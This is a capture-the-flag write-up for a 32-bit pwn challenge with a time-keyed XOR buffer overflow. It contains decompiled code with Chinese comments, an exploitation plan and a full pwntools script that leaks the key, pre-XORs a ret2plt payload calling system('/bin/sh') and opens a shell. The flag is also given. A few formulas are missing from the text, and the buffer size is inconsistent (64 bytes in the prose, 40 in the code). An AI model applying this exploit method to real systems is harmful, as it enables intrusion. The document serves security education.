This Pwn challenge is a classic buffer overflow with a twist: the input is obfuscated via a time-based XOR operation before being copied to the stack.
Challenge Description
I think one of the hands of my watch broke. Can you tell me what the time is?
nc chals.texsaw.org 3000
Flag format:
texsaw{flag}
Solution
1. Binary Analysis
Using checksec, we identify the binary’s protections:
- Arch: i386-32-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled (cannot execute shellcode on the stack)
- PIE: PIE disabled (fixed addresses for code/data)
Since PIE is disabled and there is no stack canary, the primary goal is a Return-to-PLT attack to call system("/bin/sh").
2. Identifying Vulnerabilities
Disassembling the binary reveals two critical functions: main and read_user_input.
int __cdecl main(int argc, const char **argv, const char **envp){ char *v3; // eax time_t timer; // [esp+0h] [ebp-10h] BYREF time_t key; // [esp+4h] [ebp-Ch] int *p_argc; // [esp+8h] [ebp-8h]
p_argc = &argc; // 向下取整 key = 60 * (time(0) / 60); timer = key; puts("I think one of my watch hands fell off!"); v3 = ctime(&timer); printf("Currently the time is: %s", v3); read_user_input(key); return 0;}ssize_t __cdecl read_user_input(int key){ _BYTE dest[40]; // [esp+18h] [ebp-40h] BYREF size_t n; // [esp+40h] [ebp-18h] void *buf; // [esp+44h] [ebp-14h] int j; // [esp+48h] [ebp-10h] signed int i; // [esp+4Ch] [ebp-Ch]
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); // heap buf = malloc(0xA0u); n = read(0, buf, 0xA0u); // twist // 4 bytes at a time for ( i = 0; i < (int)n; i += 4 ) { // xor each 4 bytes for ( j = 0; j <= 3; ++j ) // 这行代码的左边:*((_BYTE *)buf + ...) // 那个 _BYTE(通常是 unsigned char 的 typedef)明确告诉了 C 编译器只操作这 1 个 byte (8 bits) 的内存空间。 // 当你试图把一个 32-bit 的庞大数据 (0x11223344),通过异或运算 (^=) 强行塞进一个只有 8-bit 容量的单字节内存空间时,C 语言会只保留最底部的 8 bits。 // 也就是说,编译器在底层自动帮你做了一个类似掩码 & 0xFF 的操作。0x11223344 经过单字节截断后,高位的 0x112233 直接被丢弃,只剩下了 0x44。而这个 0x44,恰恰就是 a1 的最低有效字节 (LSB)。 *((_BYTE *)buf + i + j) ^= key >> (8 * j); // update key ++key; } // stack memcpy(dest, buf, n); return write(1, dest, 0x28u);}-
Key Generation: In
main, the program takes the current Unix timestamp and rounds it down to the nearest minute:time_val = (time(0) / 60) * 60. This value is then passed intoread_user_input. -
The XOR Loop: Inside
read_user_input, the program reads up to 160 bytes into a heap buffer. It then iterates through the input, XORing every 4-byte chunk with thetime_val. Crucially, thetime_valincrements by 1 after every 4 bytes. -
Buffer Overflow: After XORing, the program uses
memcpyto copy the processed buffer into a local stack buffer (ebp-0x40). Since the stack buffer is only 64 bytes butmemcpycopies up to 160 bytes, we have a stack-based buffer overflow.
3. Exploitation Strategy
Step 1: Leaking the Key
The program XORs our input and then calls write to send 40 bytes of the stack buffer back to us. To bypass the XOR obfuscation, we first send a string of null bytes (\x00). Because , the server returns the XOR key itself. This allows us to recover the exact time_val used by the server.
Step 2: Crafting the Payload
We need to overwrite the return address at ebp + 4. The distance from the buffer start (ebp - 0x40) to the return address is 68 bytes.
Our desired stack layout after memcpy should be:
[68 bytes of padding] + [Address of system@plt] + [4 bytes of dummy return] + [Address of "/bin/sh"]
Step 3: Pre-XORing
Because the program will XOR our input before it hits the stack, we must “pre-XOR” our payload. If the program expects , we must send so that when the server XORs it with Key, the result on the stack is our desired Payload.
4. Script
from pwn import *
target = remote('chals.texsaw.org', 3000)
# 1. Leak the time-based XOR keytarget.recvuntil(b'Currently the time is: ')target.send(b'\x00' * 100)output = target.recv(40)leaked_time_val = u32(output[0:4])
# 2. Re-connect to apply the key (or use it if time hasn't changed)target.close()target = remote('chals.texsaw.org', 3000)
# Binary addresses (PIE disabled)system_plt = 0x080490b0bin_sh_addr = 0x0804a018
# Function to XOR payload according to binary logicdef xor_payload(data, key_val): res = bytearray() for i in range(0, len(data), 4): chunk = data[i:i+4] # Calculate the key for this 4-byte chunk key = p32((key_val + (i // 4)) & 0xFFFFFFFF) for j in range(len(chunk)): res.append(chunk[j] ^ key[j]) return bytes(res)
# 3. Build and send the Pre-XORed payload# 68 bytes of padding, then system(), dummy ret, then pointer to "/bin/sh"# 在 32 位 Linux 环境下,标准的 C 语言函数调用遵循 cdecl 约定。如果这是一个合法的 call system 指令,CPU 会在跳转之前做一件事:把 call 指令的下一条指令地址 push 到 stack 上,作为 Return Address。然后紧接着才是函数的参数。payload = b'A' * 68 + p32(system_plt) + b'EXIT' + p32(bin_sh_addr)target.send(xor_payload(payload, leaked_time_val))
# 4. Get the shelltarget.interactive()Flag
texsaw{7h4nk_u_f0r_y0ur_71m3}